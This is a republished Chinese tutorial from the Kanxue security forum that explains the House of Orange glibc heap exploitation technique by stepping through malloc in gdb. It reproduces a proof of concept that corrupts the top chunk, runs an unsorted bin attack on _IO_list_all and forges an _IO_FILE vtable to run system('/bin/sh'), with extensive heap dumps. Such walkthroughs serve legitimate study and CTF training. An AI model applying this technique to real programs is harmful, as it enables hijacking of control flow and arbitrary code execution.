借助gdb调试glibc代码学习House of Orange

栏目: C · 发布时间: 5年前

内容简介:准备工作学习了CTF比赛中的一种堆利用方法—

准备工作

学习了CTF比赛中的一种堆利用方法— house of orange ,看了很多师傅们的博客和一些国外网站,现在总算理清了一些利用原理。

house of orange 攻击的主要思路是利用 unsorted bin attack 修改 _IO_list_all 指针,并伪造 _IO_FILE_plus 结构体及其 vtable (虚表)来劫持控制流。

为了更加深入地理解,很有必要 gdb 调试 glibc 中的 malloc.c 代码。以我的环境为例,在调试 glibc 代码前需要安装:

1、 1Ubuntu 16.04 x64

2、 gdb 。我个人使用 pwndbg ,您也可以使用其他,如 gdb-peda

3、源代码和调试符号。借助于调试符号,逆向工程师就能调试任何感兴趣的内容了。

借助gdb调试glibc代码学习House of Orange

gdb 提示符下输入以下内容:

pwndbg> directory /usr/src/glibc/glibc-2.23/malloc/

pwndbg> b _int_malloc

上面的gdb命令会在您单步执行时显示被调试函数的源代码。

实际上,在 glibc 中没有 malloc() ,只能找到 __libc_malloc()_int_malloc() ,而 _int_malloc() 才是内存分配的函数。 __libc_malloc() 仅对 _int_malloc() 进行简单封装。本文贴出的大部分代码都是从 _int_malloc() 中截取的。

下面以

https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c  中的代码为例说明 house of orange 的原理。

精简掉注释和相关说明后,程序主体如下所示:

#include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() {  char *p1, *p2;  size_t io_list_all, *top;  p1 = malloc(0x400-16);  top = (size_t *) ( (char *) p1 + 0x400 - 16);  top[1] = 0xc01;  p2 = malloc(0x1000);  io_list_all = top[2] + 0x9a8;  top[3] = io_list_all - 0x10;  memcpy( ( char *) top, "/bin/sh\x00", 8);  top[1] = 0x61;  _IO_FILE *fp = (_IO_FILE *) top;  fp->_mode = 0; // top+0xc0  fp->_IO_write_base = (char *) 2; // top+0x20  fp->_IO_write_ptr = (char *) 3; // top+0x28  size_t *jump_table = ⊤[12]; // controlled memory  jump_table[3] = (size_t) &winner;  *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8  /* Finally, trigger the whole chain by calling malloc */  malloc(10);  return 0; } int winner(char *ptr) {  system(ptr);  return 0; }

编译调试

gcc house_of_orange.c –g –o house_of_orange gdb ./house_of_orange

调试过程及原理说明

首先从堆中分配一个 chunk

p1 = malloc(0x400-16);
pwndbg> heap 0x602000 PREV_INUSE {  prev_size = 0x0,  size = 0x401,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0, } 0x602400 PREV_INUSE {  prev_size = 0x0,  size = 0x20c01,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0, } pwndbg> p p1 $2 = 0x602010 ""

2.1 泄露libc基址

考虑这么一种情况,假设在 malloc 时,程序中的 bins 里都没有合适的 chunk ,同时 top chunk 的大小已经不够用来分配这块内存。那么此时程序将会调用 sysmalloc 来向系统申请更多的空间。我们的目的在于用 sysmalloc()中_int_free() 获得一块释放的堆块。

借助gdb调试glibc代码学习House of Orange

对于堆来说有两种拓展方式:一是通过改变 brk 来拓展堆,二是通过 mmap 方式。其中只有 brk 拓展才会调用到 _int_free() 将老的 top chunk 释放掉,所以还需要满足一些条件。

借助gdb调试glibc代码学习House of Orange

由上述代码可知,要想使用 brk 拓展,需要满足 chunk size < 0x20000。 同时,在使用 brk 拓展之前还有一系列 check。

借助gdb调试glibc代码学习House of Orange

这里主要关注如何对齐到内存页。现代操作系统都是以内存也为单位进行内存管理的,一般内存也大小为 4kb(0x1000) ,那么 top chunksize 加上 top chunk 的地址所得到的值是和 0x1000 对齐的。

整理以上代码,所需条件有:

  • 分配的 chunk 大小小于 0x20000 ,大于 top chunksize

  • top chunk 大小大于 MINSIZE

  • top chunk inuse 等于1

  • top chunk 的大小要对齐到内存页

满足了以上各种条件,就可以成功调用 _int_free() 来释放 top chunk

借助gdb调试glibc代码学习House of Orange

此后,原先的 top chunk 将被放入 unsorted bin 中。

下一次分配时,就将会从 unsorted bin 中切割合适的大小,而切割下来的 chunkfdbk 的值将会是 libc 中的地址了。同时,若该 chunklarge chunk,fd_nextsizebk_nextsize 中还会储存堆中的地址,由此便可以完成信息泄露了。

利用代码

top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; //将top chunk的大小改为0xc01 p2 = malloc(0x1000);

执行上面3句,将原先的 top chunk 0x602400 放入到 unsortedbin 中。其中, 0x602400+0xC00= 0x603000 ,它与 0x1000 是对齐的。

调试过程如下:

top = (size_t *) ( (char *) p1 + 0x400 - 16); pwndbg> p top $1 = (size_t *) 0x602400 top[1] = 0xc01; pwndbg> heap 0x602000 PREV_INUSE {  prev_size = 0x0,  size = 0x401,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0, } 0x602400 PREV_INUSE {  prev_size = 0x0,  size = 0xc01,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0, } 0x603000 {  prev_size = 0x0,  size = 0x0,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0, } p2 = malloc(0x1000); pwndbg> p p2 $3 = 0x623010 "" pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400 smallbins empty largebins empty

2.2 劫持流程

接下来会涉及到 IO_FILE 的利用,这种方法被称为 FSOP(File Stream Oriented Programming)。

每个 FILE 结构都通过一个 _IO_FILE_plus 结构体定义

借助gdb调试glibc代码学习House of Orange

其中包括一个 _IO_FILE 结构体和一个 vtable 虚表指针。 _IO_FILE 结构体保存了 FILE 的各种信息。 vtable (虚表)指针指向了一系列函数指针。

_IO_FILE 结构定义如下:

借助gdb调试glibc代码学习House of Orange

整个结构不用完全掌握,大概了解就行。

在进程中的产生的各个 _IO_FILE 结构会通过其中的 struct _IO_FILE *_chain; 连接在一起形成一个链表,其中表头使用全局变量 struct _IO_FILE_plus *_IO_list_all 来表示,通过 _IO_list_all 就可以遍历所有 _IO_FILE 结构。

_IO_jump_t *vtable 结构定义如下,里面保存了一系列的函数指针。

借助gdb调试glibc代码学习House of Orange

以上,主要需要了解的就是 _IO_FILE_plus、_IO_FILE、vtable3 个结构以及 _IO_list_all 指针的关系和及其内容。下面的图能较好地说明它们之间的关系。

借助gdb调试glibc代码学习House of Orange

2.3 unsortedbin attack

根据 house of orange 的流程,将利用 unsortedbin attack 来修改 _IO_list_all 指针的数值。

unsortedbin attack 是怎么一回事呢,其实就是在 malloc 的过程中, unsortedbin 会从链表上卸下来(只要分配的大小不是 fastchunk 大小)。

在从 unsorted bin 中取出 chunk 时,会执行以下代码:

借助gdb调试glibc代码学习House of Orange

这里将最后一个 chunk 取出,并把倒数第二个 chunkfd 设置为 unsorted_chunks(av) ,这里 unsorted_chunks(av) 就是 main_arenatop 成员变量的地址 (&main_arena+88)

可以发现,如果我们将 victimbk 改写为某个地址,则可以向这个地址+ 0x10(即为 bck->fd) 的地方写入& main_arena+88。

io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10;

执行上面2句,相当于我们将 unsortedbin 中的 chunkbk 改写成 _IO_list_all - 0x10 ,这样当从 unsorted bin 中取出它时就可以成功将 _IO_list_all 改写为 &main_arena+88

2.4 FSOP

在此之前,我们先了解一下 malloc 对错误信息的处理过程:

借助gdb调试glibc代码学习House of Orange

1)在 malloc 出错时,会调用 malloc_printerr 函数来输出错误信息;

2) malloc_printerr 又会调用 __libc_message;

3) __libc_message 又调用 abort;

4) abort 则又调用了 _IO_flush_all_lockp;

5)最后 _IO_flush_all_lockp 中会调用到 vtable 中的 _IO_OVERFLOW 函数。

所以如果可以控制 _IO_list_all 的数值,同时伪造一个 _IO_FILEvtable 并放入 FILE 链表中,就可以让上述流程进入我们伪造的 vtable ,并调用被修改为 system的_IO_OVERFLOW 函数。

但是想要成功调用 _IO_OVERFLOW 函数还需要绕过一些阻碍:

借助gdb调试glibc代码学习House of Orange

观察代码发现, _IO_OVERFLOW 存在于 if 之中,根据短路原理,若要执行到 _IO_OVERFLOW ,就需要让前面的判断都能满足,即:

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

或者:

_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

以上两个条件至少要满足一个,这里我们将选择第一个,只需要构造 mode、_IO_write_ptr_IO_write_base 。因为这些都是我们可以伪造的 _IO_FILE 中的数据,所以比较容易实现。

在前面介绍的 unsortedbin attack 可以将 _IO_list_all 指针的值修改为 &main_arena+88。

但这还不够,因为我们很难控制 main_arena 中的数据,并不能在 mode、_IO_write_ptr和_IO_write_base 的对应偏移处构造出合适的值。

所以我们将目光转向 _IO_FILE 的链表特性。在前文 _IO_flush_all_lockp 函数的代码最后,可以发现程序通过 fp = fp->_chain 不断的寻找下一个 _IO_FILE

所以如果可以修改 fp->_chain 到一个我们伪造好的 _IO_FILE 的地址,那么就可以成功实现利用了。

巧妙的是, _IO_FILE 结构中的 chain 字段对应偏移是 0x68 ,而在 &main_arena+88 对应偏移为 0x68 的地址正好是大小为 0x60small bin 的bk,而这个地址的刚好是我们可以控制的。

smallbins在main_arena 中的位置:

下面截图说明:

(main_arena+88)+0x20为smallbin 0x20的fd,(main_arena+88)+0x28为smallbin 0x20的bk

… …

(main_arena+88)+0x60为smallbin 0x60的fd,(main_arena+88)+0x68为smallbin 0x60的bk

借助gdb调试glibc代码学习House of Orange

借助gdb调试glibc代码学习House of Orange

我们如果通过溢出,将位于 unsorted bin 中的 chunksize 修改为 0x61 。(注:现在 unsorted bin 中的 chunk 就是之前被释放的 top chunk 的一部分),那么在下一次 malloc 的时候,因为在其他 bin 中都没有合适的 chunk,malloc 将会进入大循环,把 unsorted bin 中的 chunk 放回到对应的 small bin或large bin 中。

因此,我们将位于 unsorted bin中的chunk的size 修改为 0x61 ,因此该 chunk 就会被放入大小为 0x60small bin 中,同时,该 small binfdbk 都会变为此chunk的地址。

借助gdb调试glibc代码学习House of Orange

这样,当 _IO_flush_all_lockp 函数通过 fp->_chain 寻找下一个 _IO_FILE 时,就会寻找到 smallbin 0x60 中的 chunk

只要在这个 chunk 中伪造好 _IO_FILE 结构体以及 vtable ,把 _IO_OVERFLOW 设置为 system ,然后就可以成功 getshell 了。

利用代码:

memcpy( ( char *) top, "/bin/sh\x00", 8); //传输system()函数所需的/bin/sh top[1] = 0x61; //为了将chunk放到smallbins[0x60]中 _IO_FILE *fp = (_IO_FILE *) top; fp->_mode = 0; // top+0xc0 fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 size_t *jump_table = ⊤[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8 /* Finally, trigger the whole chain by calling malloc */ malloc(10);

调试过程:

pwndbg> x &_IO_list_all 0x7ffff7dd2520 <_IO_list_all>: 0xf7dd2540 pwndbg> x &main_arena 0x7ffff7dd1b20 <main_arena>: 0x00000000 io_list_all = top[2] + 0x9a8; pwndbg> p io_list_all $6 = 140737351853344 //0x7FFFF7DD2520 top[3] = io_list_all - 0x10; 0x602400 PREV_INUSE {  prev_size = 0x0,  size = 0xbe1,  fd = 0x7ffff7dd1b78,  bk = 0x7ffff7dd2510,  fd_nextsize = 0x0,  bk_nextsize = 0x0, } memcpy( ( char *) top, "/bin/sh\x00", 8); pwndbg> x/20gx 0x602400 0x602400: 0x0068732f6e69622f 0x0000000000000be1 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 0x602420: 0x0000000000000000 0x0000000000000000 0x602430: 0x0000000000000000 0x0000000000000000 0x602440: 0x0000000000000000 0x0000000000000000 0x602450: 0x0000000000000000 0x0000000000000000 0x602460: 0x0000000000000000 0x0000000000000000 0x602470: 0x0000000000000000 0x0000000000000000 0x602480: 0x0000000000000000 0x0000000000000000 0x602490: 0x0000000000000000 0x0000000000000000

通过在 _IO_list_all 设置硬件断点 (wa *0x7ffff7dd2520) ,通过 gdb 调试 glibc 代码,发现执行完 bck->fd=unsorted_chunks(av) 后, _IO_list_all 所指的数值改成了 main_arena+88。

借助gdb调试glibc代码学习House of Orange

将这个 chunk 放入 smallbin 0x60 ,所以将 size 位设置为 0x61 。同时, small bin[0x60]的fd和bk 都会变为此 chunk 的地址。

pwndbg> x/20gx 0x602400 0x602400: 0x0068732f6e69622f 0x0000000000000061 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 0x602420: 0x0000000000000000 0x0000000000000000 0x602430: 0x0000000000000000 0x0000000000000000 0x602440: 0x0000000000000000 0x0000000000000000 0x602450: 0x0000000000000000 0x0000000000000000 0x602460: 0x0000000000000000 0x0000000000000000 0x602470: 0x0000000000000000 0x0000000000000000 0x602480: 0x0000000000000000 0x0000000000000000 0x602490: 0x0000000000000000 0x0000000000000000

gdb 调试 glibc 代码,设置断点 b _int_malloc ,发现执行完下列语句后,将地址为 0x602400的chunk 放入 smallbins[0x60]。

借助gdb调试glibc代码学习House of Orange

借助gdb调试glibc代码学习House of Orange

借助gdb调试glibc代码学习House of Orange

由于之前 unsortedbin attack 来将 _IO_list_all 指针的值修改为 &main_arena+88 这样,当 _IO_flush_all_lockp 函数通过 fp->_chain 寻找下一个 _IO_FILE 时,就会寻找到 smallbin 0x60 中的 chunk

借助gdb调试glibc代码学习House of Orange

借助gdb调试glibc代码学习House of Orange

pwndbg> x/50gx 0x602400 0x602400: 0x0068732f6e69622f 0x0000000000000061 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 0x602420: 0x0000000000000002 0x0000000000000003 0x602430: 0x0000000000000000 0x0000000000000000 0x602440: 0x0000000000000000 0x0000000000000000 0x602450: 0x0000000000000000 0x0000000000000000 0x602460: 0x0000000000000000 0x0000000000000000 0x602470: 0x0000000000000000 0x0000000000000000 0x602480: 0x0000000000000000 0x0000000000000000 0x602490: 0x0000000000000000 0x0000000000000000 0x6024a0: 0x0000000000000000 0x0000000000000000 0x6024b0: 0x0000000000000000 0x0000000000000000 0x6024c0: 0x0000000000000000 0x0000000000000000
pwndbg> p jump_table $7 = (size_t *) 0x602460 jump_table[3] = (size_t) &winner; pwndbg> x/20gx 0x602400 0x602400: 0x0068732f6e69622f 0x0000000000000061 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 0x602420: 0x0000000000000002 0x0000000000000003 0x602430: 0x0000000000000000 0x0000000000000000 0x602440: 0x0000000000000000 0x0000000000000000 0x602450: 0x0000000000000000 0x0000000000000000 0x602460: 0x0000000000000000 0x0000000000000000 0x602470: 0x0000000000000000 0x000000000040078f 0x602480: 0x0000000000000000 0x0000000000000000 0x602490: 0x0000000000000000 0x0000000000000000
pwndbg> x/50gx 0x602400 0x602400: 0x0068732f6e69622f 0x0000000000000061 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 0x602420: 0x0000000000000002 0x0000000000000003 0x602430: 0x0000000000000000 0x0000000000000000 0x602440: 0x0000000000000000 0x0000000000000000 0x602450: 0x0000000000000000 0x0000000000000000 0x602460: 0x0000000000000000 0x0000000000000000 0x602470: 0x0000000000000000 0x000000000040078f 0x602480: 0x0000000000000000 0x0000000000000000 0x602490: 0x0000000000000000 0x0000000000000000 0x6024a0: 0x0000000000000000 0x0000000000000000 0x6024b0: 0x0000000000000000 0x0000000000000000 0x6024c0: 0x0000000000000000 0x0000000000000000 0x6024d0: 0x0000000000000000 0x0000000000602460 pwndbg> p (*(struct _IO_FILE_plus *) 0x602400) $4 = {  file = {  _flags = 1852400175,  _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,  _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",  _IO_read_base = 0x7ffff7dd2510 "",  _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,  _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,  _IO_write_end = 0x0,  _IO_buf_base = 0x0,  _IO_buf_end = 0x0,  _IO_save_base = 0x0,  _IO_backup_base = 0x0,  _IO_save_end = 0x0,  _markers = 0x0,  _chain = 0x0,  _fileno = 0,  _flags2 = 0,  _old_offset = 4196239,  _cur_column = 0,  _vtable_offset = 0 '\000',  _shortbuf = "",  _lock = 0x0,  _offset = 0,  _codecvt = 0x0,  _wide_data = 0x0,  _freeres_list = 0x0,  _freeres_buf = 0x0,  __pad5 = 0,  _mode = 0,  _unused2 = '\000' <repeats 19 times>  },  vtable = 0x602460 } pwndbg> p (*(struct _IO_jump_t *) 0x602460) $5 = {  __dummy = 0,  __dummy2 = 0,  __finish = 0x0,  __overflow = 0x40078f <winner>,  __underflow = 0x0,  __uflow = 0x0,  __pbackfail = 0x0,  __xsputn = 0x0,  __xsgetn = 0x0,  __seekoff = 0x0,  __seekpos = 0x0,  __setbuf = 0x0,  __sync = 0x0,  __doallocate = 0x0,  __read = 0x0,  __write = 0x602460,  __seek = 0x0,  __close = 0x0,  __stat = 0x0,  __showmanyc = 0x0,  __imbue = 0x0 }

因为 unsortedbin attack 的时候破坏了 unsorted bin 的链表结构,所以接下来的分配过程会出现错误,系统调用 malloc_printerr 去打印错误信息,从而被我们劫持流程,执行到 winner ,然后由 winner 执行 system 函数。

总结

之前看了很多 house of orange 的介绍,总不得要领。通过 gdb 调试 glibcmalloc.c 后,才知道 unsortedbin attack,FSOP 的操作都是在最后执行 malloc(10) 的时候完成的。

完整地跟踪一遍 _int_malloc() 函数就清楚了:当调用 malloc(10) 时,首先将 unsortedbin中的chunk 摘下来,从而导致 _IO_list_all 修改为 main_arena+88。

借助gdb调试glibc代码学习House of Orange

之后将摘下来的 chunk 放到 smallbin[0x60] 中:

借助gdb调试glibc代码学习House of Orange

最后,由于 unsortedbin attack 破坏了 unsorted bin 的链表结构。此时, victim= (mchunkptr) 0x7ffff7dd2510,victim->size=0, 满足 __builtin_expect (victim->size <= 2 * SIZE_SZ, 0) ,所以在大循环中系统调用 malloc_printerr 去打印错误信息。

从而被我们劫持流程,执行到 winner ,然后由 winner 执行 system 函数。

借助gdb调试glibc代码学习House of Orange

借助gdb调试glibc代码学习House of Orange

而下面的这些语句仅仅是为漏洞利用提供子弹而已。

io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; memcpy( ( char *) top, "/bin/sh\x00", 8); top[1] = 0x61; _IO_FILE *fp = (_IO_FILE *) top; fp->_mode = 0; // top+0xc0 fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 size_t *jump_table = ⊤[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

malloc(10); 才会最终执行 malloc 中的攻击链,它才是关键的扳机操作。

- End -

借助gdb调试glibc代码学习House of Orange

看雪ID:elecs    

https://bbs.pediy.com/user-395278.htm

本文由看雪论坛  elecs     原创

转载请注明来自看雪社区

热门图书推荐

借助gdb调试glibc代码学习House of Orange   立即购买!

借助gdb调试glibc代码学习House of Orange

公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

点击下方“阅读原文”,查看更多干货


以上所述就是小编给大家介绍的《借助gdb调试glibc代码学习House of Orange》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

网页配色实用手册

网页配色实用手册

温鑫工作室 / 科学 / 2011-9 / 59.00元

《网页配色实用手册》在日常生活中,色彩早已广泛地深入到人们的精神生活和物质生活中,它是一种能够激发情感、刺激感官的重要元素。《网页配色实用手册》 从色彩的应用范围和网页设计行业需求出发而编写。全书共分为9章,第1章~第2章主要介绍色彩的基础知识、网页与多媒体的相关知识,帮助读者掌握最基本的理论;第3章主要介绍明度、纯度以及色彩感觉的配色,引领读者深入学习;第4章~第8章分别根据网站的属性、网站的地......一起来看看 《网页配色实用手册》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具